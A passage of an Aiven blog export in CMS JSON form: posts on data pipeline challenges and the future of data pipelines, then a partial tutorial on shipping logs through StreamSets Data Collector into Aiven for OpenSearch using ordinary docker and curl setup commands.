feel free to let us know if you have ideas on what you'd love to see us support next.\n\n\n## Further reading\n\n- [PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud](https://aiven.io/blog/postgresql-cloud-performance)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-01-19T10:46:00.000Z","seo":{"metaDescription":"UpCloud is our latest cloud vendor. Find out which regions are immediately available and what our future plans entail for Aiven for PostgreSQL here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® now available in UpCloud"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-now-available-in"},"subtitle":"UpCloud is our latest cloud vendor. Find out which regions are immediately available and what our future plans entail for Aiven for PostgreSQL here.","title":"Aiven for PostgreSQL® now available in UpCloud"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3XuqgtpVB8UTqnS5628RKC","_rev":"0bD0yWvurDucdXi3F3UuQf","_type":"post","_updatedAt":"2024-09-25T10:56:49Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"_What if you built a data pipeline, but couldn't connect to where your data was stored?_\n\n__Imagine:__ you're running an international hotel chain with thermostat data written to flat files in a S3 bucket, and energy consumption data logged to an accounting spreadsheet only accessible by accounts. _How could you correlate thermostat and energy consumption data to optimize?_\n\nOr, picture this: you're running a stock tracking site, but you can only batch import stock data from the previous day once every 24 hours? _Can any trader make accurate, well-timed decisions using your platform?_\n\nWhat if you're a mobile game developer monetizing game levels by tracking progress? Collecting a handful of SDK event code onto your commodity-hardware MySQL server under your desk works great for a few players, but _what if your game goes viral?_\n\nAnd what if you suddenly needed to collect and accommodate variable-length events such as when a player advances to the next level, and points are tallied with the player’s name, rank, and position, along with a timestamp?\n\n## Previous attempts (and lessons learned)\n\nNot long ago, these scenarios were common. Data from different sources went into separate silos that various stakeholders couldn't access. Data couldn't be viewed, interpreted or analyzed in transit. Data was almost exclusively processed in daily batches as in nowhere near real-time.\n\nData volume and velocity grew faster than a homespun pipeline was designed to handle. And data ingestion would often fail silently when the incoming events’ schema didn't match the backend’s, resulting in long and painful troubleshoot / restart cycles.\n\nAdding insult to injury, the data formats and fields kept changing with the race to meet ever-changing business needs. The result was predictable:\n\n\u003e Stale, inconclusive insights, unmanageable latency and performance bottlenecks, undetected data import failures, and wasted time! You need __to get your data where you want it__ so you have singular, canonical stores for analytics.\n\nAnalytics data was typically stored on-premise, in ACID-compliant databases on commodity hardware. This worked until you needed to scale your hardware and the available analytics and visualization tools no longer gave analysts what they needed.\n\nWhat's more, analysts were tied up with infrastructure maintenance, and growth-related chores like sharding and replication...this was without handling periodic software crashes and hardware failures.\n\nAlong with that homespun storage and management tools rarely get the same attention as the product, and it's difficult to justify the investment. However, whenever technical debt goes unaddressed, system stakeholders eventually pay the price.\n\n__Now, how you host and store your data is crucially important for reaching your data analytic goals:__ managed cloud hosting and storage can free up analysts from disaster cleanup, as well as the repetitive work of maintenance, sharding and replication.\n\n## The Seven Challenges\n\nA [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) is any set of automated workflows that extract data from multiple sources. Most agree that a data pipeline should include _connection support_, _elasticity_, _schema flexibility_, _support for data mobility_, _transformation_ and _visualization_.\n\n[Modern data pipelines](https://aiven.io/blog/the-future-of-data-pipelines) need to accomplish at least two things:\n\n1. Define what, where, and how it's collected\n2. Automatically extract, transform, combine, validate and load it for further analysis and visualization.\n\n![A schematic of a modern data pipeline](https://cdn.sanity.io/images/sczeoy4w/production/c08bbde2408f10d35b8973161ea986036d883fd3-900x620.png)\n\n### 1. Getting your data where you want it\n\nTo get a complete picture from your data, you need to get it where you want it. What sense would it make if you imported sensor data, but isolated sales and marketing data? You could correlate and map trends from each data pool separately, but couldn’t draw insights from combined data.\n\n\u003e You'll want your tools to support connections to as many data stores and formats as possible, including unstructured data.\n\nThe challenge is finding out what data you need and how you’ll combine, transform, and ingest it into your system. Not to mention what the best data store and format is to store the data in.\n\n### 2. Hosting (and storing) your data\n\nYou'll need to be able to host your data, and have it live in a known format. You could take on the initial outlay, and maintenance costs and staff for an on-prem solution. However, if you decide to self-host, consider the following questions:\n\n1. Which operating system should I run? \n2. What are my memory / disk requirements?\n3. What storage is most appropriate?\n4. Do I want to build redundancy into my system?\n5. What performance considerations should my system have?\n6. Are there latency requirements?\n7. Am I batching historical analytical data, or do I need to access data in real time?\n\nOr, you could use a managed service with fixed costs. Self-hosting is a variable expense, but ultimately more expensive than a managed service. [Aiven](https://aiven.io/) provides fully-hosted and managed cloud databases and messaging services on all major cloud providers across all regions.\n\n### 3. Flexing your data\n\nEnterprises often build pipelines around extract, transform, load (ETL) processes that pose unique problems. A defect in one step of an ETL process can cascade into hours of intervention, affecting data quality, destroying consumer confidence, and making maintenance daunting.\n\nThey are also costly, static and only suited to particular data types, schemas, data sources and stores. These make them less desirable for analytics data, where flexible schemas are needed because a data source or event schema can change over time.\n\n\u003e You need to be able to __flex your data__ today: analytics data pipes must be elastic enough to accomodate all kinds of data with few constraints on schema or type.\n\nACID (atomic, consistent, isolated and durable) databases are the best choice for transactional data with a static schema. In the past, ACID databases were in on-premise, commodity hardware and used standard ETL tools to translate between data stores.\n\nAnalytics data is different; it’s analyzed in mass to understand larger trends. As your source applications and systems evolve, you’ll need to accommodate high-velocity, variable-length events: a schemaless model. And, analytics data is more likely to require the schema flexibility of a wide column store or NoSQL offering.\n\n[Cassandra](https://cassandra.apache.org/_/index.html) is schema-optional and column-oriented. As a wide column store, you don’t need to model all of the required columns initially; each row doesn’t need the same set of columns. [InfluxDB](https://en.wikipedia.org/wiki/InfluxDB) is a schemaless time-series database, which lets you add new fields at any time.\n\nA wide column store like [Cassandra](https://aiven.io/cassandra) have been proven to be popular choices for analytics data, and Aiven offers it.\n\n### 4. Scaling with your data\n\nAnalysts sometimes still import data in isolated, all or nothing atomic batches. But today’s data volume and velocity, and the need for real-time insights render this approach ineffective. Analysts must be able to __automatically scale their data storage.__\n\nYou may be getting your application, enterprise, or infrastructure analytics data from one device, system, or set of sensors today, but may have a million tomorrow. How do you manage an ever-growing velocity and volume of data?\n\nYou’ll be limited by your on-prem hardware and data store, rendering sharding and replication necessary. But these are complex and require hours of troubleshooting and rework when they go wrong. The best solution is a managed system that automatically scale as your data grows.\n\n### 5. Moving your data around\n\nDepending on how your data is consumed, you'll need to get it from one place to another. Many enterprises run batch jobs nightly to take advantage of non-peak hours compute resources. Therefore, the picture you see from your data is from yesterday, making real-time decisions impossible.\n\nEnter the message queue. Earlier, developers moved data around by deploying custom data-transmission protocols. We've seen [JMS](https://en.wikipedia.org/wiki/Java_Message_Service), (limited to transmission between java-language specific components), and [RabbitMQ](https://aiven.io/blog/kafka-v-rabbitmq-a-comparison \"Kafka v RabbitMQ compared\"), with the flexible and configurable publish and subscribe capabilities of [AMQP](https://www.amqp.org/).\n\nFor large-scale data ingestion, Apache Kafka tends to be preferred among pub-sub messaging architectures because it partitions data so that producers, brokers, and consumers can scale incrementally as load and throughput expand. [Aiven Kafka](https://aiven.io/kafka) lets you deploy it in minutes.\n\n### 6. Mashing up and transforming your data\n\nCompanies also focused on transactional data from production databases and user engagement data from SDKs and generated events. Today, there are more data sources than ever: website tracking, cloud-stored _flat files_, CRM, other databases, eCommerce, marketing automation, ERP, IoT, other large datasets via REST APIs, and mobile apps, etc. __To mash up and transform data__ means getting competitive insights on all of the data.\n\n\u003e Different databases are better suited for different things.\n\nMentioned previously, Cassandra is good as a high-availability, distributed data store, and InfluxDB is great for time-series data. But, you may need a key-value or traditional SQL store, or full-text search on unstructured data.\n\n[Redis](https://redis.io/) is an in-memory, super fast, NoSQL key-value database that is also used as a cache and message broker because of its high performance. [Aiven for Caching](https://aiven.io/caching) provides automatic setup and maintenance, with one-click provisioning.\n\n[PostgreSQL](https://www.postgresql.org/) is the go-to open-source object-relational DBMS for companies ranging from manufacturing to IoT. Aiven leverages its expertise to provide [Aiven for PostgreSQL](https://aiven.io/postgresql), the fastest, high-availability Postgres of any provider.\n\nNeed to search and index vast quantities of unstructured data? [OpenSearch](https://opensearch.org/) is a distributed document and full-text indexing service that supports complex data analytics in real-time. [Aiven for OpenSearch](https://aiven.io/opensearch) as a service has the longest reach of all with five major clouds.\n\n### 7. Visualizing everything\n\nFinally, data doesn't necessarily come out the other end of the pipeline in a way that's humanly readable. You need to be able to __visualize everything.__ _Data needs to be available in a form that could be further queried and analyzed, and eventually visualized_.\n\n\u003e Trends and correlations unseen in plain data can often best emerge when visualized.\n\n[Grafana](https://github.com/grafana/grafana) is an open-source metric, analytics visualization, and alerting suite. [Aiven Grafana](https://aiven.io/grafana) helps you gain new insights by enabling dashboards from multiple data sources simultaneously.\n\n## Wrapping up\n\nA data pipeline is any set of processes designed for two things: to define what data to collect, where and how; and to extract, transform, combine, validate, and load the data for further analysis and visualization.\n\nThere are many unique ways to go about this, so it's best to look at all available options before you start to build. To get an idea of the components used to build modern data pipelines, read our post on [the future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines).\n\n## Next steps\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n::banner{ctaText=\"Read case study\" ctaLink=\"https://aiven.io/case-studies/aiven-cloud-helps-adeo\" title=\"Adeo runs hundreds of PostgreSQL databases with Aiven\"}","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-19b011489eddfab9d3adbbb2057927a33193d6c4-752x405-png","_type":"reference"}},"publishedAt":"2018-10-25T00:00:00.000Z","related":[{"_key":"61a172a86e22","_ref":"2ARfgdP4N2VhaJRepsobky","_type":"reference"},{"_key":"c11a9905e3b7","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"},{"_key":"47cb8e2014e1","_ref":"511wpsZ0T89kHsHMU38Rz4","_type":"reference"}],"seo":{"metaDescription":"The current data landscape presents many challenges for data pipelines to overcome. Read this post to find out what they are.","metaImage":{"alt":"","asset":{"_ref":"image-19b011489eddfab9d3adbbb2057927a33193d6c4-752x405-png","_type":"reference"}},"metaTitle":"7 challenges that data pipelines must solve"},"slug":{"_type":"slug","current":"/blog/7-challenges-that-data-pipelines-must-solve"},"subtitle":"The current data landscape presents many challenges for data pipelines to overcome. Read this post to find out what they are.","title":"7 challenges that data pipelines must solve"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1j7S5htNtJI8a7hDmtBmZb","_rev":"0bD0yWvurDucdXi3F3VQgB","_type":"post","_updatedAt":"2024-09-25T10:58:51Z","authors":[],"body":"We've previously looked at the [7 challenges that data pipelines must solve](/blog/7-challenges-that-data-pipelines-must-solve). Next, let's look into the future. In order to understand where things are going, it's useful to first look at where they've __been__.\n\n200 years ago, if you wanted to send a message somewhere, you wrote a letter and potentially waited years for a response. 150 years ago, you could accomplish roughly the same thing by telegraph in as little as a day. A few decades later, telephone and radio were able to transmit and receive __immediately__.\n\nThe same happened with visual information 80 years ago thanks to the first commercial television. Next came the rise of PCs in the early 1980’s where data could be readily stored and searched (locally). Then, just 25 years ago, the world wide web emerged, and with it, the need for dynamic, __distributed__ data stores.\n\n![Timeline of data technology](https://cdn.sanity.io/images/sczeoy4w/production/4b09be0810a20ad5be0522095675e84a1ce32b87-1980x788.png)\n\n## What have we learned?\n\nFor argument’s sake, let's consider our \"message\" and \"data\" to be identical. So what have we learned? With each innovation, the data in our pipelines grew and transformed, in terms of:\n\n* __Amount —__ The sheer amount of data a system (a [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) is required to handle within a set timeframe.\n\u003cbr\u003e\n* __Velocity —__ The speed at which the data travels through the pipeline, which subsequently affects the speed at which a response can be expected.\n\u003cbr\u003e\n* __Purpose —__ The function the data being transmitted serves. Is it the message payload itself? Metadata for use by the transmission mechanism? Formatting? Headers? Instructions for another system?\n\u003cbr\u003e\n* __Trajectory —__ The direction(s) the data moves in. Data no longer merely moves from point to point, such as with a telegraph, but often between several different sets of points simultaneously, e.g. a TV broadcast. Or a peer-to-peer network or blockchain. This implies that for every single producer, there are possibly many consumers.\n\u003cbr\u003e\n* __Format —__ Data may come as structured, unstructured, plaintext, encrypted, binary, or even embedded within other data. Data can also be commands to subsequent systems in the pipeline. Or any combination thereof.\n\n## So, what about now?\n\nWith the mobile and smart phone, mobile devices and recently, the world of IoT with connected infrastructure and devices, we're seeing the amount of generated data explode and continue its metamorphosis in form and function.\n\nAccording to [IDC](https://www.seagate.com/files/www-content/our-story/trends/files/idc-seagate-dataage-whitepaper.pdf), there were 16.1 zettabytes of data generated in 2016. That's projected to grow to 163 zettabytes in 2025 with users worldwide expected to interact with a data-driven endpoint device every 18 seconds on average.\n\n![Graph of annual growth rate of generated data](https://cdn.sanity.io/images/sczeoy4w/production/bfe681b61a67e6820672c637a38b3f2645934078-1030x792.png)\n\nLet’s look at what we believe data pipelines and components will need to be able to achieve in terms of functionality, design, compliance, usability, performance, and scalability to handle this scale.\n\n### 1. Functionality\n\nJust a decade ago, a pipeline was generally unidirectional, point-to-point, dealt with siloed business background data, and ingested it in batch (often schema-rigid through an inflexible ETL) during off hours when CPU resources and bandwidth were free.\n\nToday, data is ubiquitous and can even be [life critical](https://www.seagate.com/files/www-content/our-story/trends/files/idc-seagate-dataage-whitepaper.pdf). As such, data is in the foreground of users’ everyday lives. Consequently, pipelines may need to run polydirectionally (from point of ingestion to one or more central data lakes or data warehouses for processing, and back to edge data centers and even endpoint devices to be processed, visualized and rendered).\n\nMuch of this happens in real- or near-real-time. __Core-to-endpoint__ analytics, like those found in some modern cars, are a good example of this.\n\n![Example of core-to-endpoint data pipeline](https://cdn.sanity.io/images/sczeoy4w/production/aa68320df4224387b3107d8726dda5f521333f13-1749x593.png)\n\nAn interesting side-trend emerging from these phenomena is that the data pipelines are not just an IT component supporting the business, but, increasingly _are_ the business.\n\n\u003e Alooma is one notable example of a data-pipeline-as-a-service; many other services work in a specific domain with a real-time data pipeline at their core.\n\nAs embedded __IoT Devices__ proliferate and __mobile real-time data__ grows, the immense volume of data generated within such pipelines must be accomodated and made appropriately available. This suggests a few requirements:\n\n1. Pipelines and their components must be capable of auto-scaling, sharding and partition-tolerance with minimal — if any — human interaction;\n2. Pipelines and their data flow be troubleshootable and configurable on the fly;\n3. Pipelines be agnostic to - and able to accommodate — a range of formats, from fully ACID-compliant to completely structured data, but;\n4. Pipelines implement measures to capture, fix and requeue events that error out.\n\nAnalytics pipelines will also increasingly serve as a funnel/conduit for data to be ingested and used toward __training AI and ML models.__ This is already built into systems like Apache [HiveMall](https://hivemall.incubator.apache.org/) that sit atop the data pipeline and make deductions, detect anomalies, or translate data into commands for e.g. endpoint devices or connected systems.\n\nThese systems will largely self-perpetuate and automate continuous improvements via updates to both the data pipelines and the software components of products.\n\nThat said, in the future, the challenge for humans supporting these AI systems won't be as much about training intelligence algorithms or devices (AI will learn to self-train), but keeping an eye on things and, when necessary, intervene to refine/tune/retrain the machine learning component as it self-develops to keep these systems from going off the rails.\n\n### 2. Design\n\nWe've already discussed the need for present and future data pipelines to support __core-to-endpoint systems, exponentially-growing data volume and near real-time velocity.__ But a few other trends are becoming increasingly ubiquitous in the design of data pipelines themselves.\n\nAn important consideration for any self-improving pipeline is a __kill switch.__ When the system (or machine learning part of it) begins to go erratic and produce \"improvements\" that are either suboptimal if not downright dangerous, there must be a way to turn off the pipeline or the machine learning component for troubleshooting or retraining.\n\nSince SQL is such a common paradigm for understanding data, __pipelines will continue to evolve to look more like databases:__ data in the pipeline can be modelled on the fly, and one can query the data in a pipeline at any point — either in motion or at rest — using standard SQL.\n\n\u003e We're already seeing streaming SQL variants such as [KSQL](https://www.confluent.io/product/ksql/), [SQL on Amazon Kinesis](https://docs.aws.amazon.com/kinesisanalytics/latest/dev/streaming-sql-concepts.html), [Apache Calcite](https://calcite.apache.org/docs/stream.html), and Apache Pulsar SQL, which are starting to support things like windowing and joins.\n\nWhile those examples query data _in the stream_, the next step is to make it possible to query data from anywhere in the pipeline from a single SQL interface. This ties to the notion of table/stream duality that vendors like Confluent are currently talking about.\n\nAnother design concern relates to the __handling of systems utilizing blockchain or distributed ledgers.__ Order is important for transactions on the blockchain, while, in many cases, in the presence of a network partition, [the compromise between consistency and availability](https://en.wikipedia.org/wiki/CAP_theorem) needs to be tweaked.\n\nSimilar to how technologies like [RadixDLT](https://www.radixdlt.com/) already do, we'll see more of these systems __implementing immutable, ordered, event ledgers as tunably-consistent distributed databases.__\n\nIn a [previous blog](https://aiven.io/blog/7-challenges-that-data-pipelines-must-solve), we covered the origin of the publish-subscribe mechanism. It's also important to the trajectory of our data. Rather than having a point-to-point integration between every data producer and consumer (with system complexity equaling _n*n_), it's far simpler to build data communication around a common interface (complexity equaling _n + n_) while making our consumers smart enough to decide which data they’ll consume.\n\nAs a design consideration then, __the pub-sub mechanism will remain a major player in data pipelines__; in addition to Apache Kafka and Amazon Kinesis, we'll continue to see disruptors in that space, e.g. Apache Pulsar.\n\nThe design consideration underlying all of these points is the __immutable, ordered event log.__ Simply put, producers append to the log in transactional order, while smart consumers select _which_ events they consume.\n\n![Schematic of Apache Kafka immutable, ordered event log](https://cdn.sanity.io/images/sczeoy4w/production/f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png)\n\n__Source: Martin Kleppmann's Kafka Summit 2018 Presentation,__ [Is Kafka a Database?](https://www.youtube.com/watch?v=v2RJQELoM6Y)\n\nThe immutable, ordered event log is a feature in most data pipelines today, and it isn’t going anywhere.\n\n### 3. Compliance (including security)\n\nSo how will you secure the data in such an event log? As it turns out, more complicated than simply securing the entire log.\n\nGDPR [compliance rules are complex](https://www.varonis.com/blog/gdpr-requirements-list-in-plain-english/), but generally stipulate that personal data with an EU citizen's name or ID be kept _accurate and up to date, secure, transparent as to its use, and restricted to the minimum to do the job_. Most importantly, under the European _Right to be Forgotten_, users can withdraw consent to store their personal data.\n\nThis makes securing a sequential event log a challenge, as different ranges of rows, or partitions in the log, could correspond to different users' data. So what do you do?\n\nOne option is to just discard any personally identifying information before writing it to your data store. However, Yair Weinberger of Alooma was asked this very question during a recent talk and suggested three choices a future pipeline designer can make:\n\n1. __If the data is difficult to access, it doesn't exist.__ Here, the idea is to write different partitions of a log to different locations. Once the permission to the data is revoked (or sunsets), remove or deny access to that location.\n\n2. __Automatically anonymize.__ Email addresses and identifying information can be hashed as you go.\n\n3. __Selectively revoke the encryption key.__ Different partitions in your log are encrypted with keys when stored. When the data permission sunsets, destroy the associated key. [SpectX](https://www.spectx.com/), from Estonia, currently offers yet another choice:\n\n4. __Don't move data at all!__ It's possible to query logs and do analysis remotely -- without ever importing the data to your system. (This also provides the additional advantage of not needing to prepare the data before import!)\n\nThus, you'll be able to choose whether or not to pipe your data into a system you control or query it in place (or do all of the above from a mix of remote and local locations). But there are some possible trade-offs to consider in terms of:\n\n* latency;\n* tunnel security;\n* data storage (compliance) requirements;\n* storage space requirements (and associated costs);\n* CPU/GPU power required (and associated costs).\n\n### 4. Usability (including designability)\n\nDesign relates to how data pipelines are designed — including what features and attributes they have — to handle their requirements (and that of their data). __Designability__ has more to do with what features must be available to users to design pipelines.\n\nAs they become more common, pipelines will be assembled from building-block type components like __time-series databases, distributed ledgers, full text search, key-value stores, and partitioned, distributed streaming platforms.__ We expect that users will find full, common configurations available preassembled, installable with as little as a single click.\n\nWith an abstraction layer built in, there will be less need to code and configure the pipelines, although customization will always possible. This means GUIs are to be available for the entire lifecycle — from installation and configuration — through to deployment and use and, finally end-of-life. These pipelines will autoscale, with the possibility to add functional, modular \"building blocks\" as needed.\n\nSolutions like [Treasure Data](https://www.treasuredata.com/), Alooma, [Landoop](https://lenses.io/) and [StreamSets](https://streamsets.com/) already let users work with various aspects of Apache Kafka and/or data pipelines via a GUI.\n\n### 5. Performance (including reliability)\n\nAs you can probably guess, performance must generally continue to improve as data pipelines become more widespread: latency will approach zero, while mean-time-to-failure will approach forever.\n\nIt's hard to find an exact benchmark that applies to all, as each data pipeline is different. But, over time, we predict that the latency of access to data stores and streams will continue to shrink.\n\nThe same goes for measuring mean-time-to failure (MTTF), as a reliability metric: over time, pipelines will approach zero failures (while _MTTF → ∞_). It's an asymptotic relationship, because of course, queries will always take some time and there will always be some failures.\n\nAs companies like [ScyllaDB](https://www.scylladb.com/) have demonstrated, components will move from interpreted or JVM code to natively-coded elements, which will improve speed, latency and throughput across the board.\n\nThese improvements will take place under massively growing loads, whether computation is taking place at the core, an edge data center, or endpoint device.\n\n### 6. Scalability\n\nThe quantity of data generated even within a system is likely to outpace the capacity to store it all. This means that DevOps staff of the future will likely need to make decisions about which data is kept volatile and temporary and which is made persistent and stored.\n\nMetadata will continue to offer space savings, and it's likely that the format of metadata will continue to advance so that those savings can be compounded even more. In spite of all of these developments, pipelines and their data stores will need to be able to massively autoscale to accommodate future load and velocity. This includes the ability to modularize and add components (via containers or VMs, which can be toggled on and off as necessary).\n\n### Wrapping up\nTo get to 163 ZB in 2025 (and beyond), pipelines will need to accommodate data that continues to evolve and transform in terms of _amount, velocity, purpose, trajectory, and format_, to name just a few attributes.\n\nThe data pipelines of tomorrow will continue to evolve, just as those of the past have evolved to today. We've looked at some of what what data pipelines and components will need to achieve in terms of _functionality, design, compliance, usability, performance, and scalability_.\n\nAiven offers hosted-database and messaging platform solutions that let you easily spin up state-of-the-art data infrastructure configurations with just a few clicks. Change will come, whether you're ready or not. Want future-proof, scalable, and flexible data pipelines so that you don't need to worry? [Try out Aiven for free, for 30 days](https://console.aiven.io/signup).\n\n\n## Further reading\n\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405-png","_type":"reference"}},"publishedAt":"2018-11-23T00:00:00.000Z","related":[{"_key":"7afe3c175287","_ref":"3XuqgtpVB8UTqnS5628RKC","_type":"reference"},{"_key":"b18deb0e0758","_ref":"2ARfgdP4N2VhaJRepsobky","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The one theme that underlies all future data pipelines will be handling massive scale. Read this post to find the specifics.","metaImage":{"alt":"","asset":{"_ref":"image-acced17ee878ad0594c2b43bee7464975a9cdf1f-752x405-png","_type":"reference"}},"metaTitle":"The future of data pipelines | Read about Aiven's approach"},"slug":{"_type":"slug","current":"/blog/the-future-of-data-pipelines"},"subtitle":"The one theme that underlies all future data pipelines will be handling massive scale. Read this post to find the specifics.","title":"The future of data pipelines"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"511wpsZ0T89kHsHMU38Rz4","_rev":"Y1Zuby3sRDA3bPurvuTyyq","_type":"post","_updatedAt":"2024-09-25T10:59:45Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"What if you could design and build a complete data architecture in minutes instead of months? And what if you could accomplish this using free and open source tools?\n\nPreviously, we’ve always thought about the [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) as the domain of the Data Engineer - and that skill stack necessarily includes those of the architect, software developer, database and messaging system admin, and a pile of other things. \n\nIn fact, it’s probably not an unreasonable hypothesis that in data engineering, the [Pareto principle](https://en.wikipedia.org/wiki/Pareto_principle) applies: 80% of the effort makes up only 20% of the output. And what is that 80%? Installs, maintenance and updates, bringing down nodes back up, running ZooKeeper, while partitioning and sharding — along with major upgrades — also play a factor. \n\nAnd then there are all the homespun scripts, programs, connectors and configurations that have to be made! This would seem especially true when using open source tools, where you have to be sure that your budget gets you the one person (or dedicated team) with all the right chops.\n\nBut what could you do if you didn't have to go through with all that? What if you could leverage easy, plug-and-play architectures in your data pipelines alongside _managed services_? The time and money you could save will, of course, free up your resources to serve up data to your customers and organization in newer, better, and more innovative ways. \n\nAnd you'll have more of those resources, because with an abstraction layer simplifying your dataflow, you don't even NEED to be a data engineer anymore to build pipelines! As mentioned, that doesn’t mean the need for data engineers’ skills will go away - it just means that those precious engineering chops can be [put to better use](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services).\n\nIn this article, we'll build a complete, end-to-end data pipeline using drag-and-drop assembly alongside hosted, managed persistence services. We’ll leverage StreamSets' open source drag-and-drop data pipeline builder, [Data Collector](https://streamsets.com/products/dataops-platform/data-collector-engine/), along with Aiven's hosted and managed [Apache Cassandra](/cassandra) and [OpenSearch](/opensearch). And we'll go from [ingesting log data to running analytics queries in our data stores](https://aiven.io/blog/7-challenges-that-data-pipelines-must-solve) (what before has taken months) in minutes!\n\n## The short version - Logs via Data Collector into OpenSearch\n\n**NOTE: I’ve used steps particular to my setup and environment, which you may need to adjust. You’ll need a little fluency with the technologies used here, so **_your mileage may vary_**.\n\nIn this first part, we’ll read logs from our local directory (stored under the Data Collector), tweak a few things and send events containing a couple of fields, namely ```geo``` (latitude and longitude), ```referrer```, ```clientip```, ```timestamp```, and ```city``` into our ```logs``` index on our Aiven for OpenSearch instance. \n\n\u003e A real production use case might retrieve log files via FTP, or from S3, but a local directory is convenient for our purposes here.\n\n![StreamSets Data Connector Pipeline with Aiven for OpenSearch destination](https://cdn.sanity.io/images/sczeoy4w/production/e2c815b4a8a2eda5592132e8c4e444d734d6d598-1015x179.png)\n\nYou’ll need to set up a few things first. (We’re basing this first part largely on this [log ingestion tutorial](https://github.com/streamsets/tutorials/blob/master/tutorial-1/readme.md) from StreamSets, so you’ll also see some — _but not all_ — of the steps and prerequisites laid out there. In particular, that tutorial does not use the Docker image). We’ll point out ```\u003cvariables\u003e``` where appropriate.\n\nDownload the [sample data](https://github.com/streamsets/tutorials/tree/master/sample_data) and GeoIP database, and store it somewhere convenient.\n\n\u003e You can also download [this script](https://github.com/kiritbasu/Fake-Apache-Log-Generator) to generate more voluminous logs in real time.\n\nFirst, you’ll want to get a version of StreamSets’ open source Data Collector. For demos, I’ll often take the Docker variant. You’ll want to create a few Docker volumes for use in your Data Collector pipeline:\n\n```\n$ docker volume create --name sdc-resources\n$ docker volume create --name sdc-data\n#optional, but recommended\n```\n\nDownload and run the docker version of StreamSets Data Collector, taking both volumes into use:\n\n```\n$ docker run -v sdc-resources:/resources -v sdc-data:/data -p 18630:18630 -d --name sdc streamsets/datacollector dc\n```\n\nOnce it’s up, you can sanity check Data Collector in your browser. \n\n```\nURL: http://localhost:18630/\n```\nlogin: ```admin/admin```\n\n![Quick review of common Docker commands](https://cdn.sanity.io/images/sczeoy4w/production/ca0ec25d1624e96f1e00a2c63d9f4e895d210a53-718x270.png)\n\nNext, copy your sample data under your volumes, so you can access the data from Data Collector. First, the Geolite database:\n\n```\n$ docker cp GeoLite2-City.mmdb sdc:/resources\n```\n\nAdd the source log files into Data Collector resources:\n\n```\n$ docker cp access_log_20151221-101535.log sdc:/resources\n$ docker cp access_log_20151221-101548.log sdc:/resources\n$ docker cp access_log_20151221-101555.log sdc:/resources\n...601...\n...666...\n```\n\nYou’re ready to spin up your Aiven for OpenSearch instance. You can use Aiven Console, but if you’re using [Aiven CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli), then:\n\n```\n$ avn service create es-sstutorial -t elasticsearch --plan hobbyist\n```\n\nOnce the service is created, and up and running, you’ll need to create an OpenSearch index, into which to pipe your processed data from your source logs. \n\nFor the sake of brevity, let’s say we want to collect just our ```timestamp``` and ```geo``` fields, so we can analyze what is coming from where, when. Copy the service URI for your Aiven for OpenSearch instance. And then create the root mapping for your index:\n\n**NOTE: Newer versions of OpenSearch require the ```_doc``` mapping.**\n\n```\n$ curl -X PUT -H \"Content-Type: application/json\" 'https://avnadmin:\u003cpassword\u003e@\u003cserviceURI\u003e:\u003cport\u003e/logs?include_type_name=true' -d '{\n \"mappings\": {\n \"_doc\" : {\n \"properties\" : {\n \"timestamp\": {\n \"type\": \"date\"\n },\n \"geo\": {\n \"type\": \"geo_point\"\n }\n }\n }\n }\n}'\n```\n\n![Quick review of OpenSearch cleanup commands you will need](https://cdn.sanity.io/images/sczeoy4w/production/1cfe14832f1a84ad1cf9b69faa7bc5133db446dc-664x154.png)\n\nNext, we’ll create the pipeline that processes our logs and stashes the results into our OpenSearch instance.\n\n\u003e For this first part, I’ll be sticking to a basic description, but you can find a [more detailed one](https://github.com/streamsets/tutorials/blob/master/tutorial-1/log_shipping_to_elasticsearch_part1.md) complete with Data Collector screenshots and explanations — upon which this first part was based — at the link.\n\nOpen the Data Collector and create a new pipeline.\n\nDrag the _Directory origin_ stage onto your canvas.\n\nUnder _Configuration =\u003e Files_ point your _Files Directory_ to _/resources_ as shown. I unzipped the logs and so used 